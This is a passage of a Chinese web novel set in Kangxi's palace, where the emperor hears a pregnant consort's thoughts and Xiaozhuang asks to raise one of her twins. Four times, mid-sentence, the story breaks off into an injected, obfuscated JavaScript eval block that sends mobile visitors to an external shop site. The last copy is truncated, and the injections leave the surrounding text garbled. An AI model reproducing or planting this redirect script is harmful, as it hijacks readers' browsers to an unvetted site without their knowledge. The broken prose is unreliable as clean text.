云秀却软硬不吃地按住云朵蠢蠢欲动的手:“不行!老院使专门交代的,您需要吃几天清淡的,之后也要按照膳食单子来吃。” 此时天气谈不上很热,却也称不得很凉快,齐满月又是最不耐热的,前段时间好不容易发现了宫里还能做酥山这样的夏季圣品,自然是好好吃个够,谁知道就吃到被叫御医,如今是什么都没了。 “云梅呢?”齐满月看着云月将云朵拉走,一副唯恐对方心软的模样,却不见另一个熟悉的身影,忍不住问道。 云秀笑容僵了一瞬后,不在意道:“好像是求了恩典去了别的宫了,您这边还缺了几个位置,皇上已经交代了内务府送几个调教好的过来了。” 齐满月狐疑的看了看外面的天色,她记得她才昏了不到三个时辰,怎么感觉像是三年一样。 云梅可是她的贴身宫女之一,怎么就突然求恩典走了?难道她这里就那么不好吗?可据她所知永寿宫是很多宫人都想来的地方啊? “在想什么?”她没想明白,康熙就走了进来。 齐满月摇了摇头:“没什么,皇上怎么过来了?” 康熙拍了拍她的手,给梁九功使了个眼色,梁九功赶忙拉着云秀出了门。 齐满月狐疑的看着两个人的动作,又看了看康熙,一股莫名的猜测涌上心头:“咋了?该不会像电视剧里演的,康熙身边的大太监看上了我的贴身宫女吧?不可以哦~我的宫女该享受正常的有爱的生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17639592|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 活,绝不接受权势逼迫!” 康熙被这段心声一噎,刚刚打算搂着她商议孩子的心思彻底被打断,他背着齐满月忍不住翻了几个白眼,最后还是没忍住回神敲了下她的脑袋:“天天胡想着什么?” “皇上不去忙政务吗?”齐满月捂着头,心里暗骂了几声对方狗皇帝后,才忍不住问道。 听着对方心里不断催促自己离开的心声,康熙反而有种想要对着干的冲动,直接将人往里面一抱:“朕今夜不走了。” 看着对方如同孩童耍赖一般的行径,齐满月眼睛都瞪得溜圆了,她无语的扫了扫对方的衣服,心里却开始有点抓狂:“啊啊啊!狗皇帝!换衣服啊!穿着外衣上床好脏的!!” 康熙偷偷勾了勾嘴角,抬手将她的头往自己怀里一按:“睡吧。” 至于齐满月那再次响起的心声…… 嗯,他可是一点都没听到呢。 齐满月就这样嗅着康熙身上的龙涎香,心里不住地数落着对方,直到不知道什么时候就这样睡着了。 齐满月怀双胎的事情在极短的时间内就传遍了东西六宫,尤其是在康熙、孝庄给了重赏后,皇贵妃、贵妃、太子接连送去厚礼,连四妃都不曾落下,小妃嫔们更是酸水直往心口里扎。 “她怎么就那么好运气!”僖嫔不可置信地听着宫人的回复,手中套色印章的动作都停了下来。 “主子,您现在想的不是这个,是该备什么礼送过去!”宫人看她又要发脾气了,赶忙按住她的肩膀,视线不忘往端嫔那边抛。 端嫔默默地抱着自己的毛毡画半成品挪到一边,在被僖嫔宫人看了一眼后,她赶忙给对方使眼色,让对方去哄自己主子。 僖嫔的宫女眼前一黑,她自己的主子本就是个炮仗性子,如今好不容易交了个朋友,却没想到是个哑巴性子,此时她有种自己的未来一片黑暗的感觉,第无数次后悔当初自告奋勇陪着主子入宫了。 端嫔自然不知道对方对自己的腹诽,她悄悄躲僖嫔的动作也被对方发现。 “端嫔,你说是不是!她有容貌,有盛宠,如今还有子嗣,哪里用我们这等人给她送礼物?都多好运气了!?” 端嫔张了张嘴,脑子有些僵在原地,不知道该怎么应对这个在她看来全是坑的问题。 僖嫔其实没打算听她说什么,只自顾自的抱怨着。 直到端嫔的主位娘娘遣人来找端嫔,僖嫔才停了抱怨,目送对方离开:“端嫔什么都好,就是木讷。” 她的宫女忍不住翻了个白眼,忍不住在心里抱怨着,要是满宫都是您这个性格,皇上和太皇太后估计天天都被气个半死。 四妃中惠妃自然是为了对方高兴,荣妃也有些欣喜于对方的好运,宜妃和德妃就有些不怎么好了,尤其是宜妃,她自认为是帝王宠妃,如今被人后来居上,还没办法趁对方怀孕重夺盛宠不说,如今对方还有了这样被皇上金口玉言定论为祥瑞的孩子。 “你也不必想太多,你我的身份做到妃位已是极致,如今孩子也不止一个,日后别说襄嫔,便是再多的宠妃亦不会动摇你我,何必操心呢?” 德妃倒也不是不难过,只是她看的很开,以她的身份虽说是被当作妃嫔备选送入宫,可家族一直都以为她最多做个嫔位便是极致,能捞个一宫主位就是老祖宗保佑,谁也没想到她能做到四妃之一。 如今既然坐到这个位置,最重要的自然是谨言慎行,能夺圣宠自然好,没有也无妨,反正她有儿子傍身。 宜妃也不是傻的,只是那股子酸意怎么都压不下去而已。 眼瞅着天黑了,她也只能送走了德妃,拉着自己的宫女仔细想想该送什么礼物过去。 至于承乾宫的皇贵妃,她面上倒看不出什么,心疼的看着怀里瘦弱的女儿,她眉眼中闪过深思,细细交代了秋月后,才吐出一口气:“希望,一切如我所愿。” 至于贵妃钮祜禄氏,她冷笑着领下康熙的口谕斥责,扫过被压在青石板上的云梅,眼看着一些珍品被皇帝以她的名义送去永寿宫,面上更显得几分刻薄和不满,直到乾清宫的人离开,才忍不住对天空翻了个白眼,嫌弃地唾了一声:“狗男人!” 49. 钮祜禄和成贵人 贵妃钮祜禄氏的贴身宫女珍珠见状赶忙使劲儿拽着她的衣袖。 贵妃钮祜禄氏白了她一眼,将袖子从她手中扯出来,用帕子擦了擦袖口后才冷笑了一声:“怕什么,就我这个姓氏往哪儿一摆,就算皇上想要收拾我,不也要忍一忍嘛~” 珍珠猛吸了口气,忍了又忍,还是没忍住低声劝道:“小点声吧,您在这个后宫里干政、跋扈,这样的名声光彩吗?这也就是您自进宫以来就不怎么愿意让夫人进来,若是被老爷他们知道了,您又被骂了。” 钮祜禄想到自己那满脑子都是从龙之功的父兄族人们,忍不住拿着帕子揉了揉胸口:“一堆扯着女人裙摆往上爬的蠢货,也值得我费心。” “不值得不值得,只是娘娘,你好歹也要想想夫人啊……”珍珠叹了口气,还是只能软下语气劝道。 钮祜禄深吸了口气,压下满心的烦躁后,才扯了扯嘴角:“想有什么用,我想着她们,她们想着谁呢?” “您就不怕家里再送来一个吗?”珍珠瞥了眼旁边的云梅,声音稍微压低了几分,“您当初入宫不就是想着凭借着您和大姑娘最像的长相,好防止老爷他们打其他姑娘的主意吗?” “是啊……妹妹们在外面就算找个多不成器的,好歹是个正头娘子,好歹……有钮祜禄一族庇佑,总比在这个囚笼里……一辈子的好。”钮祜禄看了看窄小的如往日每一天一样的天空。 她的眼眸扫向一旁的云梅,神情忽地一变:“蠢货!谁让你私自行动的!?” “奴……奴婢……”云梅脸色苍白地跪伏在地上,浑身发颤到嘴里吐不出一个完整的句子。 珍珠有些嫌弃地扫了一眼对方:“主子是要你陪着襄嫔,慢慢将主子的消息递过去,然后多收集些对方的喜好,你倒好,真当自己是细作了?!” 云梅其实到此还没反应过来自己到底是哪里做错了,她只恐惧着自己被康熙押回主子这里会有怎么样的下场,那些口口流传于宫女太监之间的恐怖流言不断在她脑海中转着。 钮祜禄啧了一声,看了看被吓得都快瘫软在地上的云梅,又看了看面上带着嫌弃,可动作却不乏回护的珍珠,轻哼了一声才跺脚回殿里:“将她送回内务府吧!” “搞得好像我能杀人还是能吃人似的!我是跋扈又不是蠢货!”她的声音消失在翻卷的旗袍衣角中,伴随着花盆底的哒哒声,传入到两人耳中。 珍珠无语地扫了眼云梅:“你想什么乱七八糟的呢?!” 云梅咽了咽唾沫,才恍惚知道自己不会死了,她瘫软在地上,抬头小心看了眼紧闭殿门的主殿,又看了看珍珠:“珍……珍珠姐姐……” “行了,闭上你的嘴,忘记前面发生的一切,从今日开始你就是内务府从未伺候过主子的小宫女,再等些日子,主子自然给你安排个好地方。”珍珠警告地看她一眼,才喊来了小太监将人送到内务府。 “送走了?”珍珠刚刚踏进房间,迎面而来就是钮祜禄带着嫌弃的一句话。 珍珠应了一声,不禁暗自腹诽着,皇上说自己娘娘性子跋扈虽说话重了些,可倒也不算错,毕竟自己的这位娘娘嘴巴也不是一般的不饶人。 “你看着吧,皇帝肯定会在襄嫔耳边提云梅这件事,到时候定要细细叮嘱几句,让对方远着我长春宫。”钮祜禄哼了两句,不满说道,“就因为我当初装的太过了,他可倒好!把我长春宫的妃嫔全挪出去了,如今就我一个人空荡荡的,还没法去随便找宫妃玩,唯恐他觉得我变好了。” “如今襄嫔来了,长得好,性子好,脑子还聪明,想出那么多打发时间的好玩意儿,偏他又来阻碍我!狗男人!” 珍珠张了张嘴,实在想吐槽,这不都是主子您自己闹的吗?谁和人交好是先往人家宫里安插人的,也就是襄嫔人傻单纯,也没防着这些,不然早就交恶了。 钮祜禄哼哼唧唧的骂着康熙,时不时还不忘骂上一通钮祜禄一族的老少爷们。 珍珠知道对方这一通抱怨少说也要半个时辰打底,也没打算劝她,到一旁翻找出来别的宫的宫人教给她的手工毛毡画递给对方。 钮祜禄挑眉接过毛毡画做起来,可嘴里的抱怨却没有停止过。 一宿倒也算平安过去,妃嫔们纵然有再多酸意,在明面上也还是要好声好气、和和气气的。 尤其是小妃嫔们,如今早不是入关前,大家居住在盛京故宫里那样,哪怕是个贵人也要睡个大通铺,大家好歹有了自己的厢房,可房间也都不大,彼此也就隔了个墙,说句不好听的,怕是泼盆洗脸水都能泼到对方房间去。 成贵人自从被僖嫔舍弃后,虽然依旧想借着靠近襄嫔,看能不能交好对方,或许也能够得一两分圣宠,毕竟不少主位娘娘有了身孕后,不都会给帝王推荐自己身边养的小嫔妃或者宫妃备选宫女吗? 只是她没想到永寿宫的宫人对她却是千防万防不说,自从襄嫔有孕连皇帝都下旨不准众人随便去打搅对方,她不过是怂恿着同居翊坤宫小答应几句,就被宜妃叫过去好生训斥了一通。 “小主……”之前跟着她的宫女早已因为挑拨口舌,被宜妃找了借口换掉,如今这个倒是老实,老实的简直是个老鼠胆子。 成贵人一向自认为自己容貌之盛虽不及卫氏,也不如襄嫔,可也能和僖嫔较量一二,只是她缺了被皇上看见的机遇而已。 只是无论是皇贵妃生产之日,还是襄嫔的永寿宫,她都没机会好好在康熙面前展现自己,当然她也不像那些她看不上的小答应们,那样没脑子的去冒头。 想到这里,成贵人叹了口气,才对宫女说道:“宜妃娘娘还是免了请安?” 小宫女低声应了句。 成贵人点了点头:“我知道了,隔壁永寿宫襄嫔娘娘可起了?我之前让你找永寿宫的宫人求教下那几个手工的问题你可问了?” 小宫女脸上带着失落,摇了摇头又点了点头:“永寿宫门口都是禁卫,奴婢不敢打听,前几日云梅姐姐教了我几句。” “嗯,那你好好和云梅学。”成贵人听到云梅的名字眼眸微微一动,从自己头上拔下一根素银簪递过去,“你拿着玩儿吧。” 小宫女见状赶忙千恩万谢的接下,才又去给成贵人领膳食去。 成贵人身边伺候的其他三个宫人陆续过来给她忙着换衣裳,换首饰,其中一个忍不住低声说道:“小主何必对这个丫头如此好?” “吃味儿了?”成贵人透过铜镜忍不住调侃道,“你们是最早跟着我的,她是宜妃娘娘送来的,我自然要多器重她几分,而且她那张脸实在让人看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17643497|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 心中多几分不忍,让她去拉拢永寿宫的宫人才好用啊。” 宫人听后也不再说什么,她很想说宫里没有秘密,劝劝自己的小主:虽然只是贵人,可也比小答应、常在们强多了,又有个得圣宠的主位娘娘,老实过日子不好吗? 只是她想到自家主子一向自傲于自己的聪慧,也只能压下劝说之意,且随对方吧,反正她不过是内务府分来的宫人而已。 被人惦记的永寿宫这里,齐满月打着哈欠爬起来,换了衣裳,梳了妆,她指着桌上的胭脂水粉连连摇头:“别了,我现在受不了那股味道。” 云秀看了看她如剥壳鸡蛋般白皙娇嫩的脸,无所谓地将东西放下。 康熙忍不住刚想挑眉,就听齐满月的心声传来:“我现在可不敢用,我都不记得康熙年间后妃的化妆品里有没有铅粉朱砂,那玩意儿不仅有毒,还会让人流产,不孕不育啊,我怕毒死自己哦~” 康熙脸色微微一变,下意识想到的就是内务府的狗奴才被人收买要害皇室子嗣,可还不等他发作,就听齐满月心声继续传来:“说起来,自古就有用铅粉的,清代后期好歹宫妃们都用上了米粉、珍珠粉、益母草粉了……” 康熙松了口气,脑中也想到汉人口中的“洗尽铅华”,确实,似乎自古以来女子的胭脂水粉就多是这些东西。 可他的心还是不自觉提着,心中还不住暗暗记住,回头一定要叮嘱内务府将这批有问题的胭脂水粉清掉,然后再让太医院出个章程公告天下,人口可也是社稷大事。 “从怀孕开始搭建的二十四小时太医保胎专组,倒也算不错,也算是请了一群专家组了,可吃什么要听御膳房的就太讨厌了,就算份例增加了又怎样,我想吃好吃的各种酸甜辣的饽饽,果子,酥山啊……” 康熙听着她夸起宫规,嘴角刚要勾起,就听到对方转头念起吃食来了,只能暗自瞥了眼对方,无奈地摇了摇头,这就是个吃食脑子,还能怎么办?幸好他是皇帝,富有四海,倒也不怕对方能吃爱吃。 “酥山那些生冷之物你还是不要吃了,朕知道你爱吃,已经吩咐了太医院,请宋院使专门为你调了个食单送入了御茶膳房,反正你之前吃食也是从御茶膳房出的,日后只遵循旧例吧。” “臣妾谢皇上恩~”齐满月赶忙回神行礼,她心里在骂对方,面上的规矩可要有的,不然她可怕这位爷事后算账。 康熙无语地捏了捏她的脸颊:“行了,朕去上朝,等朕回来陪朕吃点。” “也行,等他回来我要好好想想那些损害孩子的旧俗,我可不想让自己孩子受那么多折磨……” 齐满月的心声传入到康熙耳中,他脚步微微一顿,又转瞬加急,待会儿可一定要回来好好听听,这可是涉及后世子孙的大事。 “等朕下朝不知道要多久,你记得叮嘱永寿宫的宫人,若是襄嫔饿了就给她备些点心,不要因为等朕饿到她。”当然他也不忘交代梁九功。 只是话音一落,他突然恍惚了一下,莫名的感觉自己和齐满月这样,很像那些他听过民间夫妻一般,夫君出去赚钱,妻子在家等他回来一样的情景。 一时间,他怀着某种他自己所不能描述的那种雀跃和幸福的感觉,带着宫人们看不到却足以震惊很多人的笑意,轻快地走向大朝…… 50. 早朝和孝庄来永寿宫 肃穆的乾清门前,各部官员按序跪奏,康熙微垂着眼眸坐在门洞的宝座上,听着那些每日都差不多的奏事,思绪却慢慢的转向永寿宫。 也不知道襄嫔这时候可还在等着自己一起用膳?可转念又想,那人对自己可从来都是嫌弃居多,怕是不会乖乖等着自己用膳,反而会提前吃些东西垫底。 若是其他妃嫔,在皇帝说过等他过来一同用膳后,必然是再饿再晚都等着,唯恐触怒圣颜,可他心知齐满月绝不是这样的,她绝对会表面上看似乖顺,心里却骂骂咧咧的让云秀给她拿点心垫底。 想到这里,康熙嘴角勾起一抹笑,还好这丫头不算是多乖顺的,不然饿坏了可就不好了。 “禀圣上,京城已经先从各官宦府邸开始种痘,民间也有不少百姓开始种痘。”索额图恭敬上奏种痘一事。 他没说他和明珠用了哪些手段去威逼利诱那些手下们,让他们安稳自家后宅,交出孩子种痘,也没说他和明珠被自家后宅的妻妾们怒视了多少次,残羹冷饭吃了多少顿,更没说他们在民间推广时最初被百姓起了多少恶名。 索额图很清楚皇帝无须他们汇报辛苦,只需要得到结果。 果然,康熙点了点头:“不愧是朕的左膀右臂,索额图、明珠该赏。” 他顿了顿,眼眸扫向一旁沉默的明珠:“京城既已妥善,后续就让……” 康熙看了看安静的大臣们,眼睛看向其中一处:“陈廷敬主理,李光地协理。” 翰林院掌院学士陈廷敬赶忙领命。 可李光地一直没出现,康熙不由皱了下眉。 陈廷敬与李光地也算有点交情,他见状赶忙继续说道:“回皇上,李光地李大人去岁因回乡奉养母亲,已请假许久了。” 康熙右手摩挲了下扳指,视线看向了刚回京接任文华殿大学士兼吏部尚书的李之芳:“既然如此,此番京畿之地种痘一事,便由吏部尚书李之芳主理,陈延敬协理。” 陈延敬没想到自己多那么一句嘴,将这明摆着送上门的功劳丢了一大半出去,他嘬了嘬牙花子,看向了吏部尚书李之芳。 余光恰好瞥见索额图和明珠两位大人有些阴沉的脸上,一时间又开始庆幸自己没能接了主理,不过心里还是琢磨着等李光地回来后让他请自己去京里最大的酒楼吃一顿,毕竟多亏了自己为他说话,不然对方也就是人在家中坐,罪从天上来了。 索额图和明珠都没想到,康熙赏了他们后,竟然直接将他们支出京去,要知道他们在去年赈灾之后到种痘一事下来的前三个月,他们才刚刚从外地回来。 这一年多的时间,他们是跑了东边跑西边,去了灾区去宁古塔,和江南豪商们刚动过脑筋又去和沙俄掰了手腕,还被支到粤地训练水军,试验新式火枪炮。 见到他们回京的人哪个不惊叹一句,两位大人变化……好黑,啊不,好大! 甚至他们家的小孩子们都差点没认出来,妻妾这些日子都有些不甚想亲近他们了! 低头看着自己被晒得黝黑粗黄的手,索额图深吸了几口气,他不傻自然明白过来这是皇帝故意支他俩出去,他微微侧头对着明珠方向狠狠瞪了一眼。 都怪这个老匹夫和自己作对!若非如此,他大可留在京城好好辅佐太子,哪里就被皇帝警惕到这个地步! 明珠被他这一看不由一愣,转瞬一个嫌弃的眼神扔了过去,索额图那个老头子想什么他还能不清楚?只是在他看来什么太子并不重要,汉人们的史书他也看过不少,顺利登位的太子又有几个?从龙之功可是香得很! 康熙坐在最上面,将下面大臣的动作看了个分明,他刚刚还带着笑意的脸微微一僵,心中将那两个祸害头子安排出去的心越发坚定了。 今日的御门听政持续的有点久,康熙一边快速利落的解决一些政务,一边不住用指尖敲着宝座的扶手。 梁九功看着他这几乎从未出现的催促动作不由一愣,转瞬就又明白过来,心中不由涌上一阵无语,他总觉得自从襄嫔入宫后,自家圣上就越发少了过往老谋深算的淡漠,多了很多少年人才有的激情。 康熙没在意身边这位近侍的表情变化,他深吸了几口气,敲着扶手的动作不自觉加快,就当他有些按捺不住自己想要结束早朝的冲动,想着自己要不要早退朝一次,乾清门前安静下来。 他顿时心下一松,这就证明大臣们已经没了新的政务上奏了,他赶忙给梁九功使了个眼色。 梁九功瞬间领悟,往前一步宣布退朝。 康熙轻咳了几声,刚要起身的动作做了一半顿在宝座之上,看着几个宗室王爷正奇怪的看着他,他眼眸立刻瞪了梁九功一眼。 梁九功更无语了,他哪里想到这位爷这么着急,退朝的话还没喊完,这位爷就起身了,但没办法对方是主子,别说对方有错,就是没错,只要责怪到了他,也只能是奴才的错了。 看他低头认错,康熙才松了口气,假装整理袖子,略顿了顿后,才像往常那样缓缓起身,踱步离开。 “今日做的不错,赏你三个月月钱。”他斜睨了梁九功一眼。 梁九功听到有赏,什么想法都没了,赶忙谄媚应道:“奴才谢皇上赏~” “狗奴才。”康熙看不过他的谄媚模样,白了他一眼。 身后的几位王爷满脑子疑惑地看向他的背影,又赶忙看向康熙感情最深的兄弟裕亲王福全:“裕亲王您看……” 福全如同刚睡醒一样,惺忪着眼,茫然的环顾众人:“怎么了?发生什么?不都和以前一样吗?” 话音一落,他对几位老亲王打了个千儿,脚步飞快地离开。 他不想知道皇帝刚刚行动是不是异常,他只知道皇帝不管做什么都是对的。 康熙此时自然也猜到在最前面的几位宗室王爷察觉到了自己的动作,但他倒也没多担心什么,毕竟身为帝王偶尔做些超出常规的事情也不算什么大事。 他等不及太监们抬着御辇慢悠悠地走着,直接吩咐道:“去永寿宫,快些。” 皇帝说快,可太监们也不敢真快啊,只能双脚加速倒腾,让皇帝不感觉颠簸的情况下让速度加快了一点。 到了永寿宫,没等御辇停稳康熙就直接跳了下来,这一下把梁九功吓了一跳,赶忙上前搀扶。 康熙啧了一声,甩开他扶着自己的手,抬脚就进了永寿宫,却见永寿宫的宫人们轻手轻脚,像是怕惊扰了什么人似的,心下一顿,下意识轻笑两声,暗自想着难不成襄嫔等不及自己,竟然又去睡了不成? 他摆了摆手,打断了云秀等宫人的叩拜,自己掀了门帘,轻手轻脚走进去。 “吓!”却不承想在进去后不仅他被吓了一跳,还把里面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646478|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 人也吓了一跳。 孝庄捂着胸口,在苏麻喇姑的轻拍下猛吸了几口气,才反应过来白了康熙一眼,嗔怪道:“都多大的人了,还做出这种行径来?若是传出去哪里还有帝王威严!” 康熙连行礼都来不及,连跨几步走到她面前,连声道饶:“都是孙儿的错,可曾吓到额涅玛玛?” 说着他上前接过苏麻喇姑的动作,轻轻抚着孝庄的后背。 孝庄抬手打断了他的动作:“你啊……襄嫔还不赶快起来,你身子重,有些礼该免就免了吧。” 康熙这才反应过来齐满月还在行礼,赶忙又转身去将她扶起来:“不都说让你平日里不必如此多礼了,又忘了?” 听着他这温柔得像要滴出水来的声调,孝庄一时间不知道是该惊讶还是该无语,她扫了眼旁边和她一样复杂表情的苏麻喇姑,才无声叹了口气,刚刚还未和襄嫔商议的话一时间竟觉得有些不知道该怎么开口。 当然反悔是不行的,面前的情景只加深了她心中那个想法。 “不知道额涅玛玛过来,孙儿还以为襄嫔睡了,这才让宫人不必惊扰,没想到竟会吓到额涅玛玛,实在是孙儿的罪过。” 听着康熙的解释,孝庄脸上不由露出几分带着些许责备的笑意:“别说我在,就是我不在你也不该如此,若是惊了襄嫔可如何是好?” “是孙儿思虑不周。”康熙再次低头认错,手却抓着齐满月的手,丝毫没有松开的意思。 “不知道额涅玛玛怎么会来永寿宫?襄嫔是晚辈,有什么吩咐您直接遣人来唤就是。”室内安静了一瞬后,康熙便直接先开口了。 孝庄放下手中的茶盏,她始终不爱喝汉人的清茶,自然也喝不惯永寿宫的,她抬眼扫了康熙握着齐满月的手,又看向齐满月那张堪称绝艳的脸,轻轻叹了口气:“倒也不是为别的,就是前面和你商议的事情,我觉得亲自来和襄嫔商议更合适。” 齐满月狐疑地看向康熙,心声也从前面的嫌弃对方拉自己的手转到这边:“咦?啥?找我商议啥?总觉得有点不妙啊……” 康熙动作微微一僵,他本就打算今日或者之后找机会和齐满月商议的,毕竟这事儿说起来倒也是宫里寻常事情,但他总觉得对齐满月说不出口。 “我就知道你恐怕还未说。”孝庄自然了解他的顾虑,也因此才打算自己来一趟,她笑着看向齐满月,微微叹了口气,“这事儿其实下个旨就是,但我看你就喜欢,你又是咱们八大姓的,我自然也不愿你难过受拘,这才想着与你商议。” “到底是什么啊!!怎么浑身开始发毛了!!超讨厌说话打哑谜的人啊!” 听着她的心声,孝庄一噎,转瞬狠狠瞪了眼康熙,都怪他惯得! 康熙被瞪了个莫名,却也只敢捏着齐满月的手,用对方对自己的吐槽打断对孝庄的吐槽。 听着齐满月转而去说皇帝,孝庄心下松了口气,才继续说道:“我知道你所怀是双生子,便想着……生下后抱一个到我慈宁宫养育。” “啊……”齐满月的心声骤停,许久后发出一个似乎并无意义的轻叹。 康熙抿了抿唇,眼眸轻轻扫过她低垂思考的睫毛,看着睫毛如同蝶翼一样微微颤着,莫名的觉得那如同他此刻的心。 孝庄也没催促,她也想看看这个对朝政毫无野心的人会如何反应。 51. 齐满月的反应 康熙同样等着,他既希望齐满月能够平静接受,也有隐秘的希望对方或许可以抱怨一两声,至少让他能感觉到对方偶尔一点的在意。 “感觉……”齐满月沉默没多久,心声里就蹦出两个字。 孝庄和康熙都将注意力转向她,等待着她的后续反应。 “这个主意真好啊!”出乎意料的,齐满月的心声里竟然是带着难以掩饰的欢喜惊呼。 孝庄一愣,转瞬松了口气。 康熙则有些五味杂陈,虽然他能理解身为后宫女子屈居于权势和宫规会默默应下这件事情,可他却不知为何总希望齐满月给他一点不一样的。 当然此刻对方也给了他与后宫其他妃嫔不一样的地方。 毕竟其他妃嫔或许面上应下,但内心不舍,面前这位内心怎么看都是高兴的很啊。 康熙咬了咬后槽牙,突然很想捏着面前女人的脸,好好问问,给他养孩子就那么不高兴,听到有人养高兴成这样? 孝庄将他吃味的表情收入眼中,眼眸微微一动立刻浮现出浓浓警惕,可转瞬又消失,罢了,她管不了皇帝也伤害不了拯救员。 “这可真是太好了啊,虽然后宫妃嫔生了孩子会有配备的奶娘队伍,可我现在的位置怎么配都比不上太皇太后吧?她养我的崽配的奶娘队伍不说堪比当日太子的规格,也该比其他阿哥格格强的吧?我的崽啊,真有福气!” 康熙听着对方心中打的小算盘,刚刚那股子气恼转瞬成为一阵无语,他就知道!这女人心大的没边了! 孝庄也有些无语,她想到对方心里不舍,想到对方会抱怨,甚至对方可能会抱怨康熙,这也是她所期待的,就算是阻止不了帝王的盛宠,也可以稍微埋一点钉子,可没想到对方是这么个反应啊! “现代社会不也有夫妻两人打拼事业将孩子交给老人抚养的嘛,孝庄这样的长辈有智慧有能力有手腕有见识,顶级啊!” “生完孩子的妈妈就该好好休养,毕竟生一次孩子相当于开膛破肚的大手术,休养才是第一要务!就当请了个高端月嫂和高端育儿团队,还有高级育儿师,简直了!幸福哎~” 孝庄垂眸拿起自己不爱喝的茶喝了一口,嫌弃的眼神不住地暗自扔向康熙,这就是你喜欢的!看这心大的! 康熙尴尬的摸了摸鼻子,转而又反应过来,对着孝庄使着眼色,额涅玛玛这次放心了吧? 孝庄白了他一眼,才抬头看向齐满月:“襄嫔你可想好了?” 齐满月这时才反应过来自己因为一直在开心,忘记回孝庄了,赶忙就要起身请罪却一把被康熙按住。 “孩子能得太皇太后抚养是他的福气,臣妾怎会不乐意。” 听着她这没有一点不舍的心声,孝庄一时间都不知道该怎么接话了。 “说起来,我该怎么和孝庄透露清宫养孩子的弊端?我可不想我的崽……”她后面的话还没说出口,就被康熙突然紧握的手打断,“狗皇帝!狗爪子!我的纤细白嫩的小手啊,好痛!” 康熙猛地回神,捧着她被握出几道红印的手,放在嘴边吹了吹,眼眸中也闪过懊恼:“是朕的错,一时间想政事失了神,疼了吧?” 齐满月尴尬地偷偷瞥了眼孝庄,才赶忙说道:“没事儿,臣妾不痛。” “怎么能不痛!来人!”康熙直接打断了她的话,对外喊了一声。 梁九功在外面应了一句后,康熙继续说道:“去太医院让宋院使过来一趟!” “不必!”齐满月着急地打断康熙的话。 她此时已经顾不上这位爷会不会觉得自己御前失仪了,她唯恐那边的孝庄将她视作过去的董鄂妃宰了啊! “皇上,臣妾真的无碍,只是臣妾皮肤娇嫩了点,一碰就红。” 听她这么一说,康熙像是想到什么,动作一顿,眼眸幽深的在齐满月身上扫了扫。 孝庄在旁边看的实在想转身就走,尤其是看着康熙仿佛听不到齐满月那心声里的吐槽一样,露出那等痴迷模样。 她摇了摇头,嫌弃的瞥了不值钱的某人一眼,才直接吩咐道:“梁九功,不必去了,候着吧。” 听到梁九功在外应了声,她才又看向齐满月:“既然你愿意那就太好了,你是孩子生母又是一宫主位,本就可以自行抚养子嗣,到时候就抱一个到我那边吧。” “咦!?竟然不是两个一起抱走吗?!完了!痛失一半清闲,只能白嫖一半的高端保育团队!” 听着她这不断的懊恼,孝庄实在忍不住了,她暂时不想听对方有哪些养孩子的弊端,反正以自己孙子的模样,知道了后肯定跑得比兔子都快的来告诉自己。 “老身不久待了,先走了。” “恭送太皇太后/恭送额涅玛玛。”孝庄起身离开,众人赶忙行礼送出去。 “你真的愿意将孩子给额涅玛玛养?”康熙怎么想都觉得不是滋味,还是不死心地追问了句。 “不然呢?我都恨不得两个都给好嘛!” “是啊,那是臣妾和孩子的福气嘛。”齐满月的心声和她说的话同时出现。 听着她难得心口如一的话,康熙张了张嘴,到底没说出什么。 “孩子是你的,有什么事一定要说,朕希望你我的孩子健康顺遂一生。”他轻叹了口气,拉着齐满月的手沉默了很久后才吐出那么一句。 “是,皇上。”齐满月乖巧点了点头。 康熙知道自己和她这样面对面无言,对方总会被自己无意中的反应打断思路,便指了指手工房:“朕听说你这些日子又画了很多花样,不如陪朕做做。” 齐满月摸着肚子,觉得自己虽然不能一直做,但是看着别人做也挺有意思的,便点了点头应下。 果然如康熙所想,一旦旁人沉浸在其他方面,让齐满月自己待着,她的心声就不会被打断不说,也终于开始详细的说起养孩子的弊端。 “我该怎么给康熙讲呢?第一个应该就是建筑材料了吧,彩色多含重金属铅、汞这些,整个紫禁城都堪称毒气室了吧?而且还有那些彩釉华美的碗筷餐具,全部都含铅、汞,孕妇用多了容易流产生畸形儿,孩子用多了容易脾气暴躁、成傻子,还有什么来着……” 康熙握着工具的手绷出青筋来,他真的没想到这些东西会有那么大的伤害,早些年那些没养住的孩子不断地出现在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new 